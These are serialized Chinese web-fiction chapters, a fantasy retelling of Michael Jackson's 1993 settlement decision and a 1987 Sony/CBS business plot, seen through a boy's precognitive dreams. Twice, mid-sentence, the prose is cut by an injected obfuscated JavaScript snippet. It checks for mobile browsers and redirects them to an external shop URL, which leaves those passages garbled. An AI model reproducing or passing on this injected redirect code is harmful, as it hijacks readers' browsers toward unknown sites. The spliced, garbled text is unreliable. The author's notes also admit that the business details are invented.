他给了他们摩天轮、小火车、电影院,给了他们黑猩猩、羊驼和长颈鹿,给了他们一个永远不会打烊的游乐园。 因为他自己从来没有拥有过这些。他以为,只要他给得足够多,那些孩子就永远不会像他一样。 可现在,连这份善意都被撕裂了,被重新定义成某种肮脏的诱饵。 更糟糕的事埃凡德。他的艾娃,他的大男孩。 在得知他被告上法庭后,艾娃第一时间从学校赶了回来,并主动申请为他出庭作证。但也正因如此,法院对两人下达了“禁止接触令”。 艾娃今年15岁,还是未成年人。法律认为,在恋童性质的案件中,儿童证人都会被视作易受影响、易被教唆的群体。 而且,这次的案件受到了前所未有的公众关注,法院的管控也因此更加严格。他被严令禁止与埃凡德单独见面,甚至不能有任何的私下通话、书信,也不允许亲近的人的传话。 他对埃凡德近些日子以来的遭遇不得而知,但也能通过见到律师、问起对方近况时的沉默猜个大概:被警察单独约谈、像被审讯的犯人一样质询,反复测谎;甚至还有无孔不入的媒体,他们会用那些谣言去污蔑、激怒任何和案件有关的人…… 这个世界到底为什么要如此对待他?不仅让他深深感到痛苦,连他所爱的人也不放过。 这些日子里,除去一开始激烈的痛苦,他只剩下了日渐积累的疲惫与麻木。 无论他做出什么样的反应、摆出怎样的表情,报纸都有话可写。 他哭泣,他们说他做贼心虚;他沉默,他们说他默认罪行;他愤怒,他们说他终于暴露了真面目。他的一举一动都被放在显微镜下解剖,每一种情绪都成为呈堂证供。 1984年百事可乐事故留下的烧伤早已痊愈,皮肤上甚至看不出任何痕迹。但此刻,那种灼烧感却仿佛从未离开过——它从他的记忆深处重新燃起,日日夜夜地盘踞在他的头皮上,像一簇被痛苦点燃的幽灵火焰,在他最黑暗的日子里越烧越旺。 每次他闭上眼睛,他都不知道自己到底是睡着了、还是昏迷了。 每当看到钟表上的时间,他都不知道现在是白天还是黑夜;一分钟、一小时、一个星期、一个月……有时,时间过得很快,可有时又慢得令人难以接受。 他的体重在急剧下降。镜子里的人越来越像一具裹着皮肤的骨架,像墓地里度过的僵尸,眼窝深陷,颧骨突出。 他有时候会对着镜子里那个陌生的男人发呆——那个曾经在舞台上旋转、滑步、让全世界尖叫的人去了哪里? 最近这段时间里,他不再照镜子了。 “杰克逊先生?杰克逊先生?你有在听吗?” 律师的声音把他吓了一跳。他终于回过神来,疲惫地揉了揉鼻翼两侧的皮肤: “抱歉,我刚才注意力分散了……你能再重复一次吗?” “当然,”律师的脸上没有表现出任何不悦,那是一种近乎职业性的平静,像一层精心打磨过的面具,“我刚才在向您陈述我的主张:或许您可以考虑庭外和解,以更快地消除这次官司对您事业的影响。” “为什么要和他和解?我没有做错任何事情,我应该捍卫我的权利。” “您当然应该得到公义,杰克逊先生。但被告方把这场官司一拖再拖,时间越长,对您个人的名誉和事业就越不利——您应该明白人们的忘性——甚至到了下个月,可能就不会有人关注您是否胜诉了。” 律师的声音平稳、理性,像一把手术刀精准地切割在逻辑的肌理上。他继续说下去,每一个词都经过精心的挑选和排列,像法庭上的结案陈词一样滴水不漏。 律师说了很多。 关于诉讼周期,他提到了旷日持久的举证、质证和无休止的程序拉锯,那可能是一年,两年,甚至更久——足以耗尽一个艺人最宝贵的黄金时期; 关于舆论影响,他分析了每一次开庭都可能带来的新一轮媒体审判,头条标题和那些永远无法被真正澄清的指控; 关于商业损失,他列举了一连串数字——取消的演出、冻结的合同、一个个悄悄撤下的广告牌,每一个字母都代表着一扇正在向他关闭的门。 他静静地听着。 有一瞬间,他想要反驳。 他想说:如果我用钱买来安宁,那些人就会认为我真的有罪。 他想说:如果我选择和解,那些真正相信我的人该有多失望。 他想说:我宁愿在法庭上战死,也不愿意跪着签下那份承认过错的和解协议。 但这些话在他的喉咙里转了一圈,最终又咽了回去。 律师似乎看出了他的挣扎。那双训练有素的眼睛在迈克尔的脸上停留了片刻,然后,他放下了手中那些冰冷的文件。 “杰克逊先生,”律师的声音忽然放低了,不再是那种职业化的平稳,而是带上了一丝几乎难以察觉的人情味,“我知道您在想什么。我也知道,对您而言,和解意味着什么。但请允许我问您一个问题——您有没有考虑过埃凡德?” 他的身体不受控制地抖了一下。 “这个案子拖得越久,”律师缓缓说道,每一个字都像经过斟酌,却又带着一种不得不说的沉重,“埃凡德作为证人就会被困在这场风暴里越久。您知道他最近在接受第几次警方问讯了吗?第四次。您知道有多少媒体试图从他嘴里撬出哪怕一个词,然后把它扭曲成他们想要的形状吗?” 迈克尔没有说话。他的手紧紧攥住了腿上的绘本,指节泛白。 “他才十五岁,杰克逊先生。他还要回学校,还要面对同学的目光,还要在走廊里低头走过那些窃窃私语。而这些——每一天,每一分钟,都在真实地发生在他身上。” 律师停顿了一下。 “而且,恕我直言——现在的禁止接触令只是暂时的。但如果案件正式进入漫长的庭审程序,这道禁令可能会持续一年、两年……您能想象吗?在这段最艰难的日子里,他甚至无法见到您,无法和您说话,无法得到您的安慰。而他唯一能做的事情,就是在法庭上为您作证,然后继续承受这一切。” 他的呼吸变得急促起来。 他想起埃凡德——那个陪着他在床上读童话的孩子,那个在黑暗之中开解他的孩子,那个在所有人都质疑他的时候,毫不犹豫地从学校赶回来、说要为他出庭作证的孩子。 而现在,他连一个拥抱都给不了他。 “我不是在逼迫您,杰克逊先生。”律师的声音变得更加温和,但那份温和底下,藏着一种残忍的清晰,“我只是想让您知道,选择继续打这场官司,您不仅要承受您自己的痛苦——您也要承受他的。我不是说这不值得,我是说,请您在做决定之前,把这一点也放进天平里。” 那些曾经支撑着他的东西——对正义的信仰、对清白的笃定、对这个世界终将辨别真伪的信心——正在被一种更为强大的东西一寸一寸地吞噬。 他想起了《彼得·潘》里的胡克船长。那个被鳄鱼吞掉一只手、从此被时钟的滴答声永远追逐的男人。 胡克船长不怕任何敌人,但他害怕那只肚子里装着时钟的鳄鱼——因为那代表着他永远无法逃脱的时间,代表着他终将面对的命运。 他此刻终于理解了胡克船长的恐惧。 不是在战场上被对手击败的恐惧。而是一种更深的、更本质的恐惧——你跑得再快,飞得再高,时钟的滴答声永远在你身后。总有一天,鳄鱼会追上你。 他看着摊开在腿上的绘本:胡克船长正站在船头,手中握着弯刀,对着虚空咆哮。 “杰克逊先生,我知道这对您来说很艰难,”律师的声音变得柔和了一些,但那份柔和底下,有着一种不容置疑的坚硬,“但作为一个法律从业者,我必须向您呈现所有可能的选项。和解并不意味着认罪,它只是一个商业决策。在法律的眼中,庭外和解不构成对任何指控的承认。它只是一个——句号。” 律师站起身,将最后一份文件轻轻放在桌面上。 “而您需要这个句号,杰克逊先生。不仅是为了您自己,也是为了那个正在等您回家的孩子。” “艾娃… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552672|204369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” 他再也无法强行维持住体面了。他痛苦地蜷缩在沙发上,掩面哭泣。 他想起禁止接触令下达之前,埃凡德最后一次来到他面前的样子。 埃凡德已经长大了,甚至比他还要高。但那一天,埃凡德一直止不住地流泪。 他说:“迈克尔,我要告诉他们真相。” 可现在他才意识到——他从未问过埃凡德,你是否在害怕?你是否在收到别人的骚扰、恐吓个威胁?你是否被人在背后指指点点?你是否在警方的审讯室里,被用怀疑的目光审视了一遍又一遍,只因你是那个“杰克逊的男孩”? 他什么都做不到。 因为他被一纸禁令隔绝在外,而那个孩子独自一人承受了所有。 他太需要一个句号了。这段日子以来,他的生活变成了一个永无止境的省略号,每一天都是对前一天的重复,每一个夜晚都是更深的深渊。 他想要醒来,想要从这场噩梦中挣脱,想要回到舞台上,想要重新回到阳光下。 他想要埃凡德回到正常的生活去,想要他们能再次相拥。 但如果句号意味着承认…… 不,他们说了,这不等于承认。 但如果所有人都认为这意味着承认…… 他们说了,人们很快就会忘记。 但如果不会呢? 他低下头,看着自己的手。那双曾经戴着亮片手套、让全世界为之疯狂的手,此刻正在微微颤抖。 他想起那些在舞台上燃烧自己的夜晚,想起那些因为他而露出笑容的孩子的脸,想起他曾经相信的一切——音乐可以治愈创伤,爱可以战胜仇恨,真相终将大白于天下。 现在,这些信念正在他眼前一点一点地碎裂。 “我需要……想一想。”他听到自己的声音,遥远而陌生,像是从另一个人嘴里发出来的。 “当然,杰克逊先生。”律师站起身,开始收拾文件,“但请允许我提醒您——时间不多了。对方的律师下周就需要我们的答复。” 时间不多了。 时钟的滴答声,鳄鱼在靠近。 律师离开后,房间里重新恢复了寂静。这种寂静像深海的水压从四面八方挤压着他。窗帘紧闭,只有缝隙里漏出一线苍白的天光。 他重新低下头,看着膝盖上的绘本。 胡克船长的铁钩在插画师的笔下闪闪发光,那是一个永远不会生锈的、永远锋利的弯钩。他曾经觉得那件武器狰狞可怖,现在却觉得它有几分可悲——那只铁钩永远不会抚摸,永远不会拥抱,永远不会握住另一只手…… 他翻到下一页。彼得·潘正飞在空中,永远不会长大,永远不会老去,永远快乐,永远自由。 他又翻了一页。梦幻岛在月光下闪闪发光,美人鱼在礁石上歌唱,迷失的男孩们在森林里追逐嬉戏。 那是他曾经想要创造的世界。 他轻轻合上绘本,闭上了眼睛。 埃凡德,那个孩子还在等他。在那个被禁止的、无法触及的世界里,还有一个孩子,正独自面对所有的风暴。 在这一刻,在律师口中那个代表“句号”的选择面前,他感到的不是解脱的希望,而是一种深刻的、蔓延至灵魂每一寸角落的疲惫。 那疲惫沉重得像一床浸了水的棉被,压在他的胸口,让他每一次呼吸都需要用尽全力。 他曾经对抗过种族歧视,对抗过唱片公司的压榨,对抗过整个音乐产业对他的质疑,对抗过那个在百事可乐广告拍摄现场的火焰和随之而来的一切苦痛。他每一次都站起来了,每一次都更加耀眼地燃烧自己,像不死鸟从灰烬中重生。 但这一次,他的翅膀就像伊卡洛斯的翅膀一样,被灼心的烈阳融毁了。 那可怕的温度来自小报的头版,来自电视新闻的滚动字幕,来自他亲姐姐面对全世界说出的那番话,来自每一个把他当成怪物的人的眼神。 他看着桌上那份等待签字的文件,想象着明天、后天、一个月后、一年后的自己。想象着自己重新站上舞台,想象着聚光灯重新打在他的身上,想象着音乐重新从胸腔中奔涌而出。 那是唯一还能让他活下去的东西。 他也会想象另一个人——那个在禁止令另一端的男孩,那个将在一切尘埃落定之后,终于可以不用再躲闪光灯、不用再接受质询、不用再为他哭泣的男孩。 他的手伸向桌上的钢笔。 那一刻,他没有觉得解脱,也没有觉得愤怒,只是感到一种深深的悲伤。 属于他的梦幻岛,那个纯洁的圣地,已经不复存在了。 他签下了自己的名字。 ………… 埃凡德再一次从预知梦里醒来。 现在,他已经能很好地控制住自己在梦里时的状态了。他敢肯定自己没有抽搐、尖叫、或者做出其他什么激烈的动作——因为他还像抱娃娃一样紧紧抱着迈克尔。 但迈克尔还是若有所觉般地醒了——或许也还没有完全醒过来。 他睡眼朦胧地撑开眼皮,呢喃道: “怎么了?” “没什么,”埃凡德有些气闷重新闭上眼睛,“继续睡吧,好梦,迈克尔。” 埃凡德算是彻底睡不着了——他无法想象,迈克尔会同意庭外和解,居然还是因为自己。难道自己真的就这么脆弱吗?在亲人遭受痛苦的情况下,居然还成为了拖累。 但烦心的事情还是等迈克尔睡醒了之后再说吧。 让他多享受片刻安宁。 —————— 本章注释: 1.本章所有内容改编自1993年迈克尔被污蔑的真实案件。 2.禁止接触令是1993年美国加州真实存在的法令。 14.今晚,祝你好梦 在得知前因后果之后,迈克尔实实在在地消沉了好一阵子——任谁得知自己的善意被这样践踏利用,都不会有什么好心情的。 一开始,埃凡德提出的要求是:不要再请不熟悉的孩子们来梦幻庄园玩了。但这个要求几乎立刻就被迈克尔否决了。 “这就是我建造梦幻庄园的初衷——为孩子们提供一个能安心、快乐玩耍的乐园。”迈克尔的神情异常认真,“我知道你是为我好,但我相信,不是每一个人都会像钱德勒那家人一样……而且那也不是小钱德勒的错。一个孩子,怎么会想到撒那样的谎来污蔑我呢?” 在一番争论之后,埃凡德“终于”妥协了。他将要求往后退了一步:必须在房子里安装监控,迈克尔不能和某个孩子单独相处,孩子们的家长最好也能在场。 埃凡德憋笑憋得很辛苦。 一位名叫周树人的伟人曾说过:中国人的性情总是喜欢调和、折中的。譬如你说,这屋子太暗,须在这里开一个窗,大家一定是不允许的。但如果你主张拆掉屋顶,他们就会来调和,愿意开窗了。 嗯,事实证明,外国人也一样。 不过经此一遭,埃凡德对自己的能力又多了几分思考。 第一次做预知梦时,他白天反复思量了许多有关迈克尔的事;而昨晚的预知梦关乎梦幻庄园,恰好白天迈克尔又主动向他提起了这座庄园的一切。 他是否可以做出一个大胆的推测:他梦中所预见的事情,基本和他当下关注的事有所关联? 这个规律还没有经过验证,但今晚就是一个很好的机会。 该拿什么来试一试呢? “Gee,都已经到这个点了!” 迈克尔的惊呼声打断了埃凡德的思绪。 “怎么了?你有事约好了要去做吗?” “我得去工作室一趟。”似乎是想到了什么,迈克尔皱了皱眉头,又很快舒展开来,“你要和我一起去吗?” “当然。”埃凡德咽下最后一口三明治。 不过他心里浮起一丝疑惑——迈克尔最近怎么总往工作室跑?《Bad》的录音和剪辑工作已经全部完成,有关发行和后续巡演的安排也应该都敲定了……他到底在忙些什么? 埃凡德跟着迈克尔穿过恩西诺庄园蜿蜒的小径,一辆黑色轿车已经停在主宅门口。保镖比尔正靠在车门旁,见他们走来,立刻站直了身子。 “上午好,比尔,抱歉让你久等了。”迈克尔微笑着打了声招呼,示意比尔替他拉开车门,自己带着埃凡德坐进了后座,“去工作室。” “没有太久,正好够我喝完一杯咖啡。”比尔先是回答了迈克尔,然后关上车门前伸手轻轻揉了揉埃凡德的脑袋,“跟着一个工作狂,真是件辛苦的事,对吧,小小鬼?后面备了些薄荷糖,要是不舒服就吃一颗。” 迈克尔一路上都没怎么说话,手指轻轻敲着膝盖,像是在为什么事烦心。 埃凡德没有打扰他。 到了工作室门口,迈克尔并没有把埃凡德带进办公室,而是转过身来,微微低头嘱咐道:“埃凡德,我得进去处理一些事情,可能需要很长时间。你在这里等我,比尔会照顾你,好吗?” “没问题,工作狂。” “比尔?” “你应该知道我的答案只有‘Yes’,工作狂。” “嘿,你们两个——” 迈克尔被两人一唱一和逗得笑出声来,用力揉了一把埃凡德的脸,朝比尔微微颔首,然后急匆匆地离开了。 迈克尔的身影消失在光洁的走廊尽头。埃凡德在候客厅的沙发上坐了一会儿,数了数墙上挂着的金唱片。然后他站起来,挪到了正翻阅杂志的比尔身边。 “比尔,”他说,“我能问你一件事吗?” “什么?” “迈克尔最近怎么了?他为什么总来工作室,而且看起来心事重重的?《Bad》不是已经做完了吗?” 比尔的表情变得有些微妙。他低下头看着眼前的孩子,眼睛在帽檐投下的阴影里显得格外深邃,沉默了几秒钟,似乎在斟酌措辞。 “这个嘛……”他挠了挠下巴。 “你就告诉我嘛!”埃凡德轻轻晃着他的手臂,“我知道你肯定会说的,比尔!” “好吧,好吧——我没说不能告诉你,小小鬼。”比尔举手投降,把杂志搁到一边,“让我想想该怎么跟你说……” 和一个九岁的小鬼讲商业上的事……比尔觉得自己一定是疯了。 “好吧。”比尔终于开口,声音压低了一些,“迈克尔最近在考虑收购一家唱片公司。” “……什么?”埃凡德眨了眨眼睛。 “你听说过哥伦比亚唱片公司吗?”比尔问。 埃凡德点了点头——他当然听说过。迈克尔所在的史诗唱片就是哥伦比亚唱片公司的子公司,而哥伦比亚唱片公司又隶属于哥伦比亚广播公司,也就是CBS。这是一条非常清晰的产业食物链。 “CBS想砍掉唱片业务,”比尔说,“他们觉得这块不赚钱。索尼公司听说了这件事,想趁机把哥伦比亚唱片公司买下来。” “所以迈克尔也想买?”埃凡德问。 “他想参与进去。”比尔纠正道,“不光是简单地买下来,而是——怎么说呢——他想从单纯的歌手变成……资本的持有者。或者你就简单理解成,他想当老板。” 他说完停顿了一下,观察埃凡德的反应。见这孩子没有露出丝毫困惑的表情,才继续往下讲。 “你知道什么是版权吗?” …… 要理解迈克尔此刻正在做什么,时间得往前倒两年。 1985年,那本应是迈克尔·杰克逊风光无限的一年。《Thriller》的余热尚未消散,他的名气如日中天。但在一场关于披头士歌曲版权的竞标中,他和保罗·麦卡特尼闹翻了。 起初,保罗也想买下那个包含两百多首披头士歌曲的ATV版权库,但他不想独自出资,于是找到小野洋子——约翰·列侬的遗孀——想两人联手购入。但小野洋子觉得代价过于昂贵,没有答应。 随后,保罗在一次和迈克尔的通话中,半开玩笑地劝对方不如去买歌曲版权。他没有想到,迈克尔当时那句玩笑般的回应“那我就要买你的版权了”,竟是真的。 迈克尔做了一件在旁人看来近乎疯狂的举动。他花了四千七百五十万美元,买下了ATV音乐版权库。这其中就包括《Yesterday》《Let It Be》《Hey Jude》——这些披头士最经典的歌曲版权,从此归迈克尔·杰克逊所有。 消息传出那天,整个音乐产业都在嘲笑他。一个唱歌跳舞的黑人小子,花将近五千万美元买一堆歌的版权?人们说他愚蠢,说他被经纪人忽悠了,说这笔钱注定血本无归。 而保罗气疯了。 他和迈克尔原本是朋友,还合作过《Say Say Say》和《The Girl Is Mine》。但从那以后,两人的关系就再也没有真正修复过。保罗后来在采访中反复提起这件事,语气里始终带着一种难以置信的恼火——他无法理解,那个他曾指点过音乐行业门道的年轻人,怎么能反过来用这些知识“对付”他。 但对迈克尔而言,这从来不是针对保罗。 在买下ATV版权库之前,迈克尔曾问过他的律师约翰·布兰卡:“披头士是怎么失去自己歌曲版权的?” 布兰卡告诉他,因为他们不懂,因为他们签了不合理的合同。因为哪怕他们是全世界最伟大的乐队,在商业上,他们也只是别人的摇钱树。 在那一刻,迈克尔看到的不是四千首歌,而是一条通往自由的道路。 他太清楚“给别人赚钱”是什么滋味了。从五岁站上舞台开始,他就成了一台精密运转的印钞机、一株不会枯萎的摇钱树。摩城唱片用他赚钱,CBS唱片公司用他赚钱,经纪人——也就是他的父亲——也用他赚钱。所有人都围着他数钞票,而他只能拿到其中很小的一份。 《Thriller》卖出了四千万张,创下流行音乐史上无人能破的纪录。CBS从中攫取的利润是天文数字,而他得到的,不过是一纸版税分成合同。 音乐产业是一座金字塔。歌手站在塔尖上发光,但塔基和塔身——那些唱片公司、发行渠道、版权机构——才是真正掌握财富命脉的所在。迈克尔在塔尖站得太久了,久到终于看清了自己脚下的结构。 而ATV版权库的收购,是他凿向塔基的第一锤。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552865|204369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 时间来到1987年,也就是今年。迈克尔听到了风声:哥伦比亚广播公司有意砍掉旗下的唱片业务。 CBS唱片公司,就是那个和他签了合约、发行过《Off the Wall》《Thriller》和《Bad》的公司,那台把他当作摇钱树运转了十几年的机器——它的母公司不打算再玩音乐了。 对大多数人来说,这不过是条行业新闻。但迈克尔从中嗅到了机会的气味。 与此同时,来自日本的索尼公司正在大洋彼岸虎视眈眈。这家电子巨头觊觎CBS唱片公司已久——他们有硬件,有Walkman,有CD技术,但他们缺少内容。而没有内容的硬件,不过是一具空壳。 对索尼来说,收购哥伦比亚唱片公司意义重大。这家日本电子巨头正在大力推广CD格式,拥有一家掌握海量音乐版权的唱片公司,将为他们提供无可比拟的内容优势。硬件与软件的完美结合——这就是索尼的野心。 但索尼的计划中有一个巨大的漏洞,那就是迈克尔·杰克逊。 这些年来,迈克尔专辑卖出的数字,可以把全世界绝大多数歌手碾成粉末,而这些收入有相当大一部分流向了CBS。可以说,迈克尔是CBS最有价值的资产。 从1979年的《Off the Wall》开始,他的名字就和CBS绑定在一起,他为这家公司创造的收入足以养活整个部门。如果没有迈克尔,哥伦比亚的价值会大打折扣。 而现在,他的合约即将到期,续约谈判正陷入一种微妙的僵局。迈克尔手中握着一张所有局中人都无法忽视的牌——正是他自己。 如果一个商人想卖掉一栋房子,而房子里最值钱的租户正在考虑搬走,那么这栋房子的价值就会大打折扣。同样的道理,索尼想要收购CBS唱片公司,但如果这家公司最赚钱的歌手随时可能离开,这笔买卖的账就得重新算一算。 迈克尔很清楚这一点。所以他拖着,不拒绝也不答应,让所有人都悬着一颗心。与此同时,他正在和索尼进行另一场谈判——不是作为签约歌手的谈判,而是作为平等的合作伙伴,甚至是股东的谈判。 索尼提出的条件很优厚:现金、资源、市场承诺,每一样都足以让任何一个流行歌手眼花缭乱。 但迈克尔想要的远不止这些。他也曾认真考虑过索尼给出的条件,但自1985年以来,埃凡德在梦中所见到的那些景象——舞台事故、巡演安排的失控、濒临破产的负债……这些为他敲响了警钟。从那以后,迈克尔对这方面的问题便更加谨慎。 他想要股权。他想要话语权。 追求音乐上的成就是一种人生理想,但这个理想需要稳固的经济基础来支撑。他不想在五十岁的时候还要为生计被迫按照公司的安排去巡演,不想让自己的孩子将来也要看别人的脸色过活。 这就是他这些天频繁出入工作室的原因。他见的不是音乐制作人,而是律师、会计师、商业顾问。每一个深夜,当洛杉矶的灯火渐次熄灭,他都伏在桌前,像当年在录音室里一个音符一个音符地打磨《Billie Jean》一样,一个数字一个数字地打磨着他的商业计划。 …… “所以,”比尔说完,歪了歪头,无奈地看了一眼埃凡德,“他现在每天都来工作室,其实不是在搞音乐,而是在和律师开会、看文件、跟索尼的人谈判。” 埃凡德沉默了一会儿,若有所思地望着刚才迈克尔离开的方向。 他想起那个在聚光灯下光芒四射的迈克尔·杰克逊,那个在舞台上旋转、踢腿、让全世界尖叫的超级巨星;他也想起在录音室里、在医院里、在家里的那个迈克尔,那个善良又纯粹的赤子。 而这些光环被一层层拨开之后,他又看到了迈克尔的另一面。 “谢谢你告诉我这些,比尔。” “你能听懂?” 埃凡德望向窗外的工作室大楼,嘴角微微弯了一下,没有回答。 今晚,他要试着去做一个梦。 一个关于索尼、哥伦比亚和迈克尔的梦。 —————— 本章注释: 1.商业内容纯胡诌,孩子们别太在意,看起来逻辑通顺就是已经是作者龙场悟道的结果了。